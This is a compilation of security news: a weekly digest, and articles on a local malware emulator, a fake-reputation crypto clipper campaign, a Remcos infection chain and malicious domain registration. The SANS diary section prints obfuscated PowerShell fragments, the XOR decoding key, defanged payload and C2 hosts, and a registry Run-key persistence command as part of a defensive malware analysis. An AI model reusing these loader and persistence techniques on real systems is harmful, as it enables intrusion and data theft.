Week in review: Fortibleed campaign’s impact on orgs, Cisco Unified CM flaw exploited Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Encrypted DNS still tells an eavesdropper where to look Encrypted DNS runs across much of the Internet. DNS over TLS, HTTPS, and QUIC keep the contents of a query away from anyone watching a network link. The encryption covers the message inside each packet. The packet still carries plaintext headers, and those values mark a flow as DNS. Agent Beacon: Open-source telemetry layer for AI agents AI coding agents such as Claude Code, Codex CLI, Cursor, and Claude Cowork run on developer laptops, CI jobs, cloud environments, where they edit files, run commands, and call outside tools. Beacon, an open-source project from Asymptote Labs, configures telemetry for those runtimes and writes a normalized record of what each agent does across local, CI, and cloud-agent surfaces. Who pays when you gate cyber-capable AI models? In this interview with Help Net Security, Jaya Baloo, COO & CISO at Aisle, examines the debate over restricting access to cyber-capable AI models. She lays out the strongest argument for gating these tools, then explains where it breaks down for security teams who depend on the same capabilities for defense. A $1,400 experiment in AI security auditing outperformed OpenAI’s Codex Security A research team has built a system that teaches AI agents to hunt for software bugs by writing the audit method down as plain text. The system, called EVOHUNT, keeps the underlying AI model fixed and improves only an external “playbook” that tells the agent how to work. GTA 6 early access offers are taking gamers’ crypto Scam websites are circulating across the internet with a pitch aimed at millions of gamers: a way to play Grand Theft Auto VI before its release. The pages promise early access for a few hundred dollars in cryptocurrency, ask buyers to enter a payment code, and claim the game will then unlock. Praxen: Open-source AI agent behavior verification Praxen is an open-source tool with a simple job: it checks whether an AI agent does what it claims to do. The tool takes an agent’s declared policy, looks at how the agent operates, and points out every spot where the two drift apart. Where IT meets OT and railway cybersecurity gets harder In this interview with Help Net Security, Jorge Aldegunde, Global Head of Railway Services at DNV, talks through what happens when old operational technology meets newer IT in monorail systems. He explains why open networks widened the attack surface, how teams decide whether to patch a signalling flaw without stopping trains, and who carries the liability. Scoring AI hackers when there is no answer key AI models are solving an increasing number of offensive cybersecurity benchmarks, making those tests less useful for evaluating the most advanced systems. Many rely on vulnerabilities that have already been publicly documented, allowing models to draw on existing knowledge. FrontierCyber, a benchmark from AI security lab Irregular, takes a different approach. It places models on real systems and measures how far they progress toward a security objective. The uptime questions every engineering leader should ask this week In this interview with Help Net Security, Mattias Geniar, CTO at Oh Dear, explains why most outages start quietly, as creeping latency or a slow rise in errors. He argues teams alert on the wrong things: absolute numbers instead of changes, isolated endpoints instead of real user outcomes. Healthcare leaders see a fatal cyber incident as inevitable Healthcare practices run on a chain of outside vendors. An EMR system holds clinical records, a billing platform processes claims, a telehealth tool supports remote visits, and a cloud provider stores data. Every one of those connections gives an outside company a path into the practice, and any one of them can break. According to Omega Systems’ 2026 Healthcare IT Landscape Report, the large majority of practices dealt with at least one operational disruption that traced back to a vendor or a vendor’s own supplier. Two CEOs on why security and AI readiness belong together SuperOps and Guardz are bundling PSA, RMM, MDM, and agentic SecOps into one offering for MSPs. In this Help Net Security Q&A, SuperOps CEO Arvind Parthiban and Guardz CEO Dor Eisner explain how a connected stack cuts the time and context lost to tool-switching, lowers costs against multi-vendor setups, and helps close the gap between average MSP margins of 8% and the 18% top performers reach. What the Fortibleed campaign means for organizations running FortiGate firewalls A massive credential-harvesting campaign targeting FortiGate firewalls has exposed thousands of organizations to potential network compromise, and a trove of attacker tools, scripts, and credentials left inadvertently exposed on a server has given researchers an unusually detailed look at how the operation worked. Cisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230) CVE-2026-20230, a server-side request forgery (SSRF) vulnerability affecting Cisco’s Unified Communications Manager (Unified CM), is being exploited to drop webshells and achieve remote code execution capability on the underlying server. Law enforcement hits StealC and Amadey malware networks Operation Endgame, the largest international law enforcement operation aimed at disrupting ransomware and cybercrime infrastructure across the world, has claimed its latest targets: StealC and Amadey. Mystery hackers use novel SharkLoader dropper against governments, software devs Kaspersky researchers have uncovered a previously unknown cyberattack campaign that has compromised government organizations and software development companies in multiple countries. Synology issues critical fix for MailPlus Server vulnerabilities Synology has has fixed critical vulnerabilities in MailPlus Server, a software package used to run private email infrastructure on Synology NAS devices. Details about the vulnerabilities are still under wraps. Product showcase: How to evaluate AI SOC platforms and where Prophet AI leads The agentic SOC market is crowded with vendors promising to automate alert triage, investigation, and response. The challenge is separating measurable operational gains from marketing claims. Prophet Security is an agentic AI SOC platform that autonomously triages, investigates, and responds to security alerts. It also helps strengthen detection and response programs by identifying tuning opportunities, uncovering detection gaps, and enabling natural-language threat hunting. 23 ClawHub plugins squatting official scopes expose AI registry security gaps In this Help Net Security video, Ax Sharma, Head of Research at Manifold Security, breaks down how 23 code-executing plugins ended up under ClawHub’s official @openclaw and @clawhub scopes while owned by unrelated accounts, why an official-looking scope is a supply chain risk even when the code isn’t malicious, and what the registry changed after the disclosure. What your next cyber insurance renewal will demand In this Help Net Security video, Michael Loewy, co-founder, Tide Foundation, explains how cyber insurance is rewriting security programs at renewal time. Hundreds of AI-powered iOS apps found exposing credentials Mobile app developers are packing AI features into everything from writing assistants to productivity tools and lifestyle apps. New research shows that securing access to those services remains a challenge. Researchers from Wake Forest University analyzed 444 iOS applications with LLM features and found 282 that exposed exploitable credentials or backend access mechanisms. Free, no-signup World Cup streams serve scams instead of football Researchers at Malwarebytes identified dozens of websites claiming to offer free access to FIFA World Cup matches. Instead of streaming games, the sites directed visitors through a chain of advertising pages designed to generate revenue for their operators. Phishing hides in routine Microsoft 365 workflows Attackers are abusing Outlook Groups and Microsoft 365 collaboration features to make phishing campaigns appear routine, according to Fortra. The attack begins when a target is added to or invited into an attacker-controlled Microsoft 365 Group. The group’s name, description, or welcome message is designed to create urgency, often using themes such as payroll updates, contract renewals, supplier requests, or mandatory training notices. Two Scattered Spider hackers plead guilty over Transport for London cyberattack Two members of the notorious hacker group Scattered Spider have pleaded guilty to charges related to a 2024 cyberattack on Transport for London (TfL) that resulted in £29 million in loss and recovery costs. Using Reddit to manipulate AI search results is surprisingly easy A Reddit comment that takes only a few seconds to write can end up influencing the answers generated by AI research tools. A Cornell Tech study found that a short snippet of user-generated text, sometimes as little as 13 words, was enough to affect the output of deep-research agents, AI systems that search the web, gather information from multiple sources, and generate reports with citations. LastPass customer data exposed through Klue supply chain attack LastPass disclosed that attackers used OAuth tokens compromised in a supply chain attack on Klue, a market intelligence platform that integrates with CRM and sales tools across organizations, to access customer data stored in its Salesforce environment. Phishing attack on healthcare firm Xsolis impacts 1.4 million people Healthcare technology company Xsolis confirmed that a phishing attack resulted in unauthorized access to its network. The company develops AI-powered software for hospitals, health systems, and health plans and serves more than 600 hospitals and health insurers. Algerian national accused of running cybercrime marketplaces extradited to US An Algerian national accused of running online marketplaces that sold phishing kits and fraud tools has been extradited from Spain to the United States to face bank fraud conspiracy charges. WhatsApp will warn users before they message a potential scammer WhatsApp is rolling out a warning screen on Android and iOS that appears before users open chats with unfamiliar phone numbers. Meta hopes that this new feature will help users avoid scammers. Hacker gets 18 months for attack that compromised 60,000 betting accounts A 21-year-old man known online as “Snoopy” was sentenced to 18 months in prison for his role in a scheme that hacked user accounts on a fantasy sports and betting website and sold access to them, causing hundreds of thousands of dollars in losses. Stealthy new backdoor surfaces in attacks on multiple sectors A relatively new backdoor called Mistic has been deployed in multiple attacks since April 2026 targeting organizations in the insurance, education, IT, and professional services sectors, according to Symantec. A privacy-first take on local malware analysis Submitting a suspicious file to VirusTotal or MalwareBazaar uploads a copy to a searchable public repository. While these platforms help analysts quickly identify malicious files, they also allow threat actors to see when their tools have been detected by monitoring for matching hashes. In targeted attacks, uploaded samples may also contain sensitive victim data, exposing it to third-party systems. Burnyard, a research project from The Ohio State University takes aim at this condition. It runs suspicious binaries on the analyst’s own hardware and keeps each sample local for the duration of the analysis. Microsoft gives Windows 10 users an unexpected extra year of free security updates Microsoft has given Windows 10 users another year of free security updates, extending its consumer Extended Security Updates (ESU) program until October 12, 2027. SIM-swapping gang busted in international police operation Officers from Poland’s Central Bureau for Combating Cybercrime (CBZC) arrested four suspected members of an organized cybercrime group accused of SIM swap attacks, cryptocurrency theft, and money laundering. Mirage2FA phishing kit uses HTML smuggling to steal Microsoft 365 credentials Mirage2FA, a phishing kit that combines short-lived HTML smuggling with obfuscated JavaScript loaders to deliver fake Microsoft 365 login pages and steal credentials during MFA prompts, has been identified by researchers at Fortra. The systemd 261 release brings a software TPM, new OS installer Linux distributions that ship systemd as their init system now have a new version to track. The systemd 261 update adds a cloud metadata subsystem, carries process state through kexec reboots, and continues a long-running effort to load external libraries on demand. Product showcase: Avira Security for iOS blends security, privacy, and device optimization Avira Mobile Security for iOS combines security, privacy, and device optimization tools in a single application. The app is also available for Android, macOS, and Windows devices. Only 7% of companies are ready for the AI agents they deployed Most organizations now run or pilot AI agents that operate on company data with limited human direction at each step, a share that reaches 88% in Veeam Software’s Data and AI Trust Gap report. The systems that are supposed to keep an eye on them have not caught up. Residential proxy SDKs are hiding in LG and Samsung smart TV apps Smart TVs in living rooms run small apps that show fish tanks, clocks, solitaire games, and slideshows of puppies. A share of those apps can also send other people’s internet traffic out through the home connection. Spur Intelligence scanned 6,038 apps across LG webOS and Samsung Tizen and found 2,058 that contain residential proxy software. OpenAI wants AI to fix vulnerabilities, not just find them OpenAI expanded Daybreak, its cybersecurity initiative that combines AI models, Codex Security, security researchers, maintainers, industry partners, and access controls to support vulnerability discovery and remediation. Organizations can use the initiative to identify, validate, and fix software vulnerabilities, while developers, maintainers, and security teams can use its tools to strengthen defensive security capabilities. Security testing was built for a slower world Software teams are pushing code into production faster than security testing can keep up. AI is accelerating development cycles and adding pressure to security programs that rely on periodic validation and manual penetration testing. The 2026 State of AI Security Testing report from Aikido Security found that 76% of organizations have had to stop, restrict, or roll back AI-driven behavior in the past 12 months. Google Workspace expands password reset alerts to all admins Google’s Alert Center, a dashboard in the Google Admin console that displays security and administrative alerts and helps administrators identify, investigate, and respond to issues affecting their organization, is expanding the “Super Admin password reset” alert into the “Admin password reset” alert. The feature is rolling out gradually and will be available to all Google Workspace customers. Anthropic’s Claude Tag gives AI agents independent identities Anthropic introduced an agent identity model for Claude Tag, its AI assistant designed for team collaboration in shared workspaces. The model gives Claude its own identity, permissions, and tool access, configured by administrators and tied to a workspace or channel. Most teams will ship AI-written infrastructure code with little review AI-assisted development has settled into everyday practice across software organizations, and developers using it move from idea to working code in hours. That code does not stay with the developers who prompt it. It flows downstream to the DevOps and platform teams who deploy and maintain it, and those teams are not getting the same speed boost. Best practices for AI in open-source work Free and open source software developers us AI coding assistants such as Claude Code, Copilot CLI, Antigravity, and OpenCode in their daily work. The Software Freedom Conservancy responded to that trend with a set of recommendations for contributors who use these tools, which it groups under the label LLM-gen-AI, meaning generative AI systems backed by LLMs. LLM security advice looks solid until you check the hard cases Plenty of people now type their security worries straight into a chatbot. A hacked account, a suspicious email, a stalker who might be tracking a phone, all of it lands in the same window someone would use to ask about dinner. A benchmark called HelpBench tests how well chatbots handle those moments, and the results give security professionals something to watch in what their users are being told. Google Wallet adds TSA Touchless ID for faster airport screening Google Wallet has joined the Transportation Security Administration’s (TSA) PreCheck Touchless ID program, allowing travelers to pass through security checkpoints using the TSA’s facial comparison technology. The system verifies identity by matching a live photo taken at a checkpoint with identity and flight information, reducing the need to present a physical ID. Modelplane: Open-source control plane for AI inference Organizations that run open-weight models on hardware they own operate GPU fleets spread across clouds, neoclouds, and on-premise data centers. Each fleet handles model placement, replica scaling, infrastructure provisioning, weight distribution, and traffic routing. Teams have built this coordination layer by hand, one operator at a time. Upbound, the company behind the Crossplane project, released Modelplane, an open-source control plane that manages fleet-wide coordination for AI inference. Ransomware gangs find Europe’s weakest link in third-party suppliers Ransomware attacks against European organizations increased during the first months of 2026, with third-party suppliers becoming a major entry point for attackers. Black Kite examined 2,066 ransomware incidents across 31 countries between January 2025 and April 2026 in its 2026 European Cyber Risk Report. Critical open-source projects get a new security framework Open source software projects are getting a new framework for handling security vulnerabilities as AI shortens the time between flaw discovery and exploitation. The Linux Foundation has launched Akrites, an industry initiative that brings together technology companies, financial institutions, security vendors, AI companies, and open source projects to support the remediation and disclosure of vulnerabilities affecting widely used open source software. Cybersecurity jobs available right now: June 24, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the month: June 2026 Here’s a look at the most interesting products from the past month, featuring releases from AISLE, Asimily, Blue Planet, depthfirst, Diligent, Drata, Elastic, Filigran, Flip, Hyland, IDnow, Legit Security, MazeBolt, Noma, Qodo, Ridge Security, Tigera, and WitnessAI.

A privacy-first take on local malware analysis Submitting a suspicious file to VirusTotal or MalwareBazaar places a copy of that file on a platform other people can search. Analysts across the industry rely on these services to get a quick verdict on whether a binary is dangerous. The convenience carries a condition many overlook. Once a sample reaches a public repository, the person who wrote it can locate it there. Skilled operators watch these platforms for the hashes of their own tools, and a match tells them their campaign has been detected. Files tied to a targeted intrusion can also carry sensitive material from the victim, which then sits on a third-party system. Burnyard, a research project from The Ohio State University takes aim at this condition. It runs suspicious binaries on the analyst’s own hardware and keeps each sample local for the duration of the analysis. Burnyard end-to-end analysis workflow Running the binary in user-space emulation Burnyard performs dynamic analysis through user-space emulation. The system executes a sample one instruction at a time and intercepts every system call and Windows API call the program issues. A custom hook framework records each event with its decoded parameters and return value, producing a chronological trace in CSV form. That trace becomes the input to a classifier, which assigns the sample a label of benign or one of 43 known malware families. A transformer-based language model adds a plain-language description of the observed behavior. The emulation layer operates at the instruction level and avoids the hypervisor stack that a sandbox depends on. Burnyard supports Windows, Linux, and Mach-O binaries across several CPU architectures. A supplied root filesystem provides the libraries, directories, and registry stubs a binary expects at runtime, which removes the need for a host operating system. The design allows deployment on commodity hardware with no network connection. The team ran its evaluation on a Dell Optiplex Micro 3050 with a 7th-generation Intel i5 processor and 16 GB of memory. Measured analysis times The authors timed Burnyard against VirusTotal and Sophos Intelix across 100 samples for each operating system category. For Windows samples, Burnyard averaged 22.41 seconds, compared with 32.36 seconds for VirusTotal and 182.88 seconds for Intelix. For Linux samples, Burnyard averaged 5.47 seconds, against 16.27 seconds for VirusTotal and 80.85 seconds for Intelix. The three platforms measure different things. VirusTotal sends each sample to more than 70 engines, most of which perform static scanning, and its reported time reflects that aggregate response. Intelix provisions a dedicated sandbox for every submission and absorbs the cost of starting, running, and tearing down that environment. Burnyard’s figure covers its local pipeline from metadata extraction through emulation and classification. The Windows numbers run higher than the Linux numbers because Windows samples reach a wider Win32 API surface and involve more dynamic linking. Classification results across 44 classes The classification pipeline covers 44 classes, comprising 43 malware families and one benign class. Families with larger sample counts, including Adware.Neoreklami, GCleaner, WannaCry, Socks5Systemz, and CobaltStrike, reach high recall. Families with thin training data, including QNAPCrypt with 10 samples, salty with 15, REvil with 21, and RemcosRAT with 22, reach lower recall. The errors cluster among families that share behavior. LockBit and Hive trade places because both produce encryption-heavy file operations. A group of remote access trojans, among them WarZoneRAT, njrat, nanocore, and netwire, overlap on process injection, keylogging-related calls, and command-and-control traffic. WannaCry stays well separated on the strength of its SMB-based spread. Open questions There is a catch worth sitting with. The tests measure speed, and speed is the part Burnyard wins on. They skip the harder question of whether it gets the answer right. Nobody checked Burnyard’s verdicts against the ones VirusTotal and Intelix hand back, so we still do not know if all three agree on what a given file is. Emulation comes with a weakness of its own. A careful piece of malware can sense when it is running inside a stripped-down environment. It watches the clock, it probes for API calls that should exist, and when something feels off, it goes quiet and hides what it really does. There is a second snag underneath that one. When the emulator lacks a call the binary wants, the binary can stall partway through, and the trace ends early. The authors themselves flag this: incomplete coverage of system and API calls can keep a binary from finishing, leaving the trace a partial picture of what the program actually does. None of this sinks the idea. Burnyard is chasing something people want. Air-gapped sites, government labs, and privacy-sensitive shops all need a way to study malware that keeps the file on a local disk and the whole setup in a closet. A used desktop pulling that off is a real result. The job from here is to prove the verdict it produces holds up next to the tools analysts already lean on.

Attackers are using multiple online channels — including GitHub, YouTube, and VirusTotal — to build an illusion of trust to spread a cross-platform clipboard hijacker.

Cybercriminals abused GitHub, YouTube and VirusTotal to push crypto-stealing malware A cryptocurrency-stealing malware campaign used inflated GitHub activity, software reviews, YouTube tutorials and favorable VirusTotal comments to make malicious trading and gambling tools appear trustworthy, Check Point researchers found. According to the researchers, the attackers packaged the malware as tools designed to help users make money. The offerings included cryptocurrency sniper bots and gambling “predictors” that claimed to identify winning opportunities before other traders or forecast the outcome of online betting games. Instead of quick profits, the tools delivered Rust-based clipboard hijackers, or clippers, built for Windows and macOS that monitor the clipboard for cryptocurrency wallet addresses and replace them with attacker-controlled addresses from a large internal list. The internal list contained more than 15,500 cryptocurrency wallet addresses spanning Bitcoin, Ethereum, Monero, Dogecoin, Cardano, Litecoin and other digital currencies. “The attacker’s wallets appear to be replaced quite frequently. In many cases, it seems that once a malicious transaction is completed, the attacker swaps the used wallet for a new, ‘clean’ one,” the researchers wrote. What distinguishes the operation is the effort invested in making it appear legitimate. A WordPress phishing site served as the campaign’s front door, while GitHub and SourceForge repositories hosted the downloads and displayed signs of popularity, including stars, forks, ratings and download counts. The same tools were promoted through a YouTube channel featuring AI-generated narration, and some malware samples received favorable votes and comments describing them as safe on VirusTotal. “From a user’s perspective, the ability to manipulate sentiment and reputation on platforms like VirusTotal marks an important evolution in how threat actors shape trust,” they added. Fake GitHub stars help spread crypto malware A key part of the operation involved “Ghost Networks”, coordinated accounts used to boost stars, reviews, downloads and other signs of popularity around the malicious tools. “The actor appears to operate at least six GitHub accounts to promote and distribute his malicious software. These accounts also seem to collaborate with each other, as they are sometimes listed as contributors to one another’s repositories,” the researchers found. GitHub repositories linked to the campaign recorded more than 5,000 downloads, including over 1,250 downloads of the macOS version of Aviator Predictor, software that claims to predict the outcome of the popular Aviator multiplier game, suggesting the campaign affected Mac users as well. The tools were also distributed through the phishing site and SourceForge. On SourceForge, the report describes coordinated positive reviews and download figures that appeared heavily inflated, with more than 44,000 downloads recorded, most of them originating from Pakistan and India. Positive engagement on SourceForge (Source: Check Point) Of the more than 44,000 recorded downloads, about 37,460 appeared to originate from Android devices, even though the promoted software was available only for Windows and macOS. The researchers said a possible explanation is the use of an Android device farm to inflate the download figures. YouTube tutorials and news-site promotion The attackers also promoted the tools through a YouTube channel with more than 91,000 subscribers. The videos were presented as personal tutorials, showing a desktop screen with visible mouse movements as the software was demonstrated. An AI-generated narrator appeared in the corner of the screen, guiding viewers through the process step by step. AI-generated narrator (Source: Check Point) “This combination of on-screen activity and synthetic presenter is likely used to build trust and make the demonstration appear more authentic and convincing to potential victims.” Posts promoting the tool appeared on several news websites on April 27, 2026, suggesting a coordinated effort to push the malicious software within a short period of time. Most of the articles have since been removed, leaving only traces in search results. “Even if this campaign is not primarily aimed at large enterprises, it shows that attackers no longer rely only on classic malware distribution techniques to reach victims. Instead, they can manipulate reputation systems, crowd‑sourced feedback, and cross‑platform promotion to lower suspicion and attract more users,” they concluded. Check Point has published indicators of compromise (IOCs) associated with the campaign to help defenders identify related activity.

An unknown threat actor has been observed leveraging paid or promoted posts on legitimate news websites to drum up buzz for their warez, according to new findings from Check Point Research. The threat actor also has at their disposal a dedicated WordPress phishing page that acts as the central hub, alongside GitHub and SourceForge projects promoted by fake accounts, a YouTube channel, and a cluster of accounts that engage in coordinated activity on VirusTotal with the intent to misclassify malicious files as safe. "To push a malicious 'tool,' a single threat actor borrowed the same playbook legitimate brands use to build buzz: inflated download counts, coordinated five-star reviews, influencer-style tutorial videos, and promotion on platforms people instinctively trust," Check Point said in a report shared with The Hacker News. "The result is a fake reputation economy spanning every platform a curious victim might check before they click 'download.'" The end goal of the campaign is to push a cryptocurrency clipboard hijacker that's concealed within Solana and Pump.fun sniper bots and crash-game predictors, suggesting that cryptocurrency asset holders and online gamblers on the hunt for shortcuts and quick profits are the targets. The Rust-based clipper targets both Windows and macOS systems, and continuously monitors the clipboard for content that matches a cryptocurrency wallet address pattern. When a match is found, the malware substitutes the wallet address with an attacker-controlled address pulled from a hard-coded list, effectively routing the digital assets to them. What's notable about the activity is the use of Ghost Networks to poison reputation-driven systems like VirusTotal, aiming to reduce suspicion and increase victims' trust in the malicious files through a combination of upvotes and highly positive comments. This behavior also extends to GitHub, where the threat actor operates at least six GitHub accounts to cross-promote and distribute their malware. These synthetically boosted signals are designed to lull users into a false sense of security and trust. One such repository has 146 stars and 62 forks. "On SourceForge, the download counter reached 44,485, with a suspicious 37,460 supposedly originating from Android devices, despite the developer only offering Windows and macOS versions," Check Point explained. "A plausible explanation is the use of an Android farm to artificially inflate the download count on SourceForge." Furthermore, the software solutions are promoted through a dedicated YouTube channel with over 91,000 subscribers. The channel was created in July 2020, with the operators claiming that it's "strictly for educational purposes only." The tutorial-style videos feature AI‑generated narrators and positive comments to reinforce the illusion of popularity and trustworthiness. Perhaps the most unusual aspect of the campaign is the threat actor's use of a press release distribution service like EIN Presswire to market their tool's purported capabilities. The press release has since been syndicated across the service's partner news websites, primarily the USA TODAY Network. "Manipulating sentiment and reputation across crowd-sourced platforms marks a meaningful shift in how attackers build trust," Check Point said. "The same playbook of fake reputation and aggressive cross-platform promotion can easily distribute information stealers or ransomware to higher-value targets over time."

Yesterday, a reader reported to us a malicious ZIP archive (SHA256: a0104921a2d37ab87482ac9a9f5c3713479c118846c3e999178e75b81620c094[1]). Once unzipped, it contains a VHDX file that discloses a malicious JavaScript after being mounted (which is automatic on modern Windows OSs): Two different techniques to hide the payload help to bypass most first-line security controls. Using a disk image as a "malware container" has been used multiple times in the past[2] but seemed to be less used these days. That’s why I decided to have a look at the JavaScript (SHA256:f65b1271deedcbcbcdd750047f8eb3a5548145546fc2b7847b263a5e52570b33[3]) with a low VT score (only 5/57). Called “Partnerschaft_fur_neue_Angebotsanfrage.js” (“Partnership for new quotation request”), it probably targets German speaking victims. It contains three stages to deliver the last piece of malware. In the first stage, the JavaScript (obfuscated and hidden in many comments) will launch a PowerShell script through WMI: WbemScripting.SWbemLocator → ConnectServer() → Win32_Process.Create() This technique helps to bypass EDR solutions as well as classic detection rules that monitor parent-child relationships in processes. JavaScript → WMI → PowerShell is less suspicious than a direct relation JavaScript → PowerShell. The PowerShell script is reconstructed from many strings concatenations and stored in "%LOCALAPPDATA%\Tamale": Fdselsdatoen = Fdselsdatoen + "bubbleFFBVM0lNDgMWDREb' 1;$filmproducbubblentbubblers=otidiform 'DQsSABgGBw0lCBgM';$flygtningbubblelandsbybubbler=otidiform 'bRcOBwcCHw0NC"; Fdselsdatoen = Fdselsdatoen + "BoOChwPCTpKQQgdBQsZEQ4QHAwLDxgsFhZAPQcQBggEXE0JAgUJIBcAAFhNFRwAAgEFCgAVADBN';$succulbubblently=$pritchbubblel;otidiform 'bQMJARYIClMTExEa"; Fdselsdatoen = Fdselsdatoen + "DRcVCTsNBAIYEFdYW1xcPQodFUEZBREGVE0VHAACAQUKABUAME0=' 1;whilbubble (!$prbubblesbytbubblerially118) {otidiform 'bQMJARYIClMwFREfCgoOHi"; ... The string “bubble” pollutes the code and is removed during execution.. This second stage PowerShell reconstructs strings by picking every 4th character from garbage strings. There is a function “otidiform” that decrypts Base64-encoded strings with the XOR key “Identificational” (always the same key across all the scripts). Example: otidiform 'bQMJARYIClMWDxIAHAYNBSIBWDU1ChIAFQAABh0zW1YKFgAPAAwvBxAVFQcMC0lILwsXAxEHA0A=' 1 Returns: $global:unfishlike=[Activator]::CreateInstance($formene) The script downloads the next stage from: hxxps://cembusconfort[.]ro/Exoticisms121.dsp and saves it to %APPDATA%\Endocoel.Pro. This file (SHA256:9de90481e57ed0bc0f13bb24747e18cc133f497abe05cfac67517f98098048a1[4]) looks interesting. When you have a first look at it, it seems to be encrypted. The classic behavior is to XOR and encode in Base64 the payload. Here it’s a bit different, the next stage script has been appended at the end of the file. The payload is extracted by carving the interesting code with: .substring(143578, 20305) Once extracted the stage 3 is executed and use the first part of the file as payload (the first 143577 bytes). This stage is a PowerShell reflective .Net loader (classic behaviour) using System.Reflection.Assembly.Load(). The shellcode will fetch the malware itself from: hxxps://cembusconfort[.]ro/YoHtJ27.bin The malware will be injected in a process "backgroundTaskHost.exe" and communicates with the C2 server: animal342[.]duckdns[.]org:53552 The traffic has been identified by my sanbox as Remcos, a pretty common RAT. Or course, persistence is configured via a Run key that executes the PowerShell loader: C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Statskirken% -windowstyle 2 $Lnforhandlinger=(.'gp' 'HKCU:\Software\Weaverbird\').'Pardonnerer';%Statskirken% ($Lnforhandlinger)" Most of the files used in this infection path remain undetected by most AVs. Here is the complete infection path: Email → ZIP → VHDX → JavaScript → PowerShell Decoder → PowerShell (.Net Loader) → Shellcode (Downloader) → Remcos [1] https://www.virustotal.com/gui/file/a0104921a2d37ab87482ac9a9f5c3713479c118846c3e999178e75b81620c094 [2] https://isc.sans.edu/diary/obama224+distribution+Qakbot+tries+vhd+virtual+hard+disk+images/29294 [3] https://www.virustotal.com/gui/file/f65b1271deedcbcbcdd750047f8eb3a5548145546fc2b7847b263a5e52570b33 [4] https://www.virustotal.com/gui/file/9de90481e57ed0bc0f13bb24747e18cc133f497abe05cfac67517f98098048a1/content??????? Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key

The assembly line behind 1.5 million malicious domains Attackers registered roughly 1.5 million malicious domains during the first five months of 2026. The registration patterns resemble industrial output. Most of the domains were created by attackers, put to use within weeks, and concentrated among a small set of registrars, top-level domains, and hosting providers. New research examined more than 1.5 million unique domains flagged on VirusTotal between January and May 2026. Each domain was flagged by at least five independent VirusTotal scanning engines and first appeared on the platform during the study window. The detections were combined with WHOIS registration records, passive DNS resolution data, and the Tranco popularity ranking of well-known sites. Close to nine in ten of the domains were registered by attackers for malicious use. The remainder were existing legitimate domains that attackers took over. Most of that smaller group qualified because of age, having been registered years before detection, a sign that long-established sites were repurposed for attacks. Domains built for a short life New malicious domains appeared at a steady, high volume each month. January 2026 recorded the most, with several hundred thousand domains, and the following months stayed in a similar range. Attacker-created domains reached VirusTotal quickly after registration. The median domain was about two months old at first detection. A portion were detected within one day of registration, and close to a third within one week. This short window gives defenders limited time to identify a domain before attackers activate it. Abuse concentrates at a few registrars and TLDs A small number of registrars handled most attacker-created domains. The four busiest together covered more than a third of attack domains. The top ten registrars handled close to six in ten of the domains with known registrar data, with a long tail of several thousand additional registrars splitting the rest. Top-level domain choices showed similar concentration. The .com extension led by a wide margin, accounting for roughly a third of all attack domains. It was followed by lower-cost generic and country-code extensions such as .top, .cc, and .xyz. The top ten extensions together covered about two-thirds of attack domains, with the remainder spread across hundreds of others. This concentration points to intervention. Anti-abuse policies and faster takedown procedures at the leading registrars could reduce a large share of attacker-created domains. The shared infrastructure problem Most of the busiest hosting addresses belonged to Cloudflare. Eight of the top ten IP addresses hosting attack domains were Cloudflare addresses. The two busiest each hosted more than 230,000 distinct attack domains. These addresses are shared reverse-proxy endpoints used across Cloudflare’s network, so a single address serves many sites at once and hides the origin server behind it. At the network level, Cloudflare’s autonomous system hosted the largest number of attack domains, with another large network and AWS close behind. Attackers gravitate toward reputable cloud and content-delivery providers because traffic from these networks is harder to block at the network level. The same services that protect legitimate sites from attack and surveillance also shield malicious ones, which makes takedown a question of provider cooperation. DNS traffic concentrates in a small group Query volume followed a steep distribution. Most attack domains drew modest traffic. A small group at the top drew enormous volumes, with the single busiest domain receiving more than two billion queries. This high-traffic group accounted for most of the query volume and the most user exposure. Sinkholing it would lower end-user risk substantially. Registration in bulk Coordinated mass registration appeared throughout the dataset. Grouping attack domains by registrar and creation date, any group of five or more domains sharing both attributes counted as a batch. More than three-quarters of attack domains with usable WHOIS records belonged to such a batch. The largest single batch held more than two thousand domains registered with one registrar on a single day. Domain names within batches often followed short alphanumeric patterns, a sign of automated generation. Same-day registration of thousands of domains under one registrar points to scripts that produce and register names in bulk to assemble large attack fleets quickly. Brand impersonation targets a few large names Attackers embedded recognizable brand names into their domains. Brand tokens drawn from the most popular sites were checked against each attack domain name. WhatsApp was the most-copied brand by a wide margin, appearing in close to 20,000 attack domains. Google, Coinbase, and Bet365 also ranked among the leaders. The presence of a cryptocurrency exchange and a gambling platform points to credential harvesting and phishing aimed at financial accounts. The matching method used simple substring detection, so some entries reflect common letter sequences more than deliberate impersonation. The distinctive brand names in the results, led by WhatsApp, carry more weight. A small share of all attack domains contained a recognizable brand token, spread across thousands of distinct brands. Where defenders can intervene The good news is that the same concentration that makes this work efficient for attackers also gives defenders a short list of places to push. If a handful of registrars are issuing most of the domains, rate limits and anti-abuse checks on same-day bulk registrations would slow a lot of the activity at once. The patterns are easy to spot: thousands of names with the same registrar and the same creation date, often with machine-generated spellings. The hosting side calls for a different kind of work. Cloudflare and AWS both run abuse-reporting programs, and the volume here suggests those programs need automated pipelines that connect threat intelligence teams directly to the providers, so flagged domains tied to known malicious hosting get pulled faster. The busiest domains, the small group pulling billions of queries, are the ones worth sinkholing first, since they reach the most people. And the brands attackers lean on most, WhatsApp and Google among them, are obvious candidates for automated monitoring. The throughline is that domain abuse runs like a production line with a few chokepoints. A few registrars issue most of the domains. A few extensions host most of the names. A few networks carry most of the traffic. Press on those points and you reach a large share of the problem. The researchers released their annotated dataset publicly for anyone who wants to dig further. Apply today: Simplify security management with CIS SecureSuite Platform

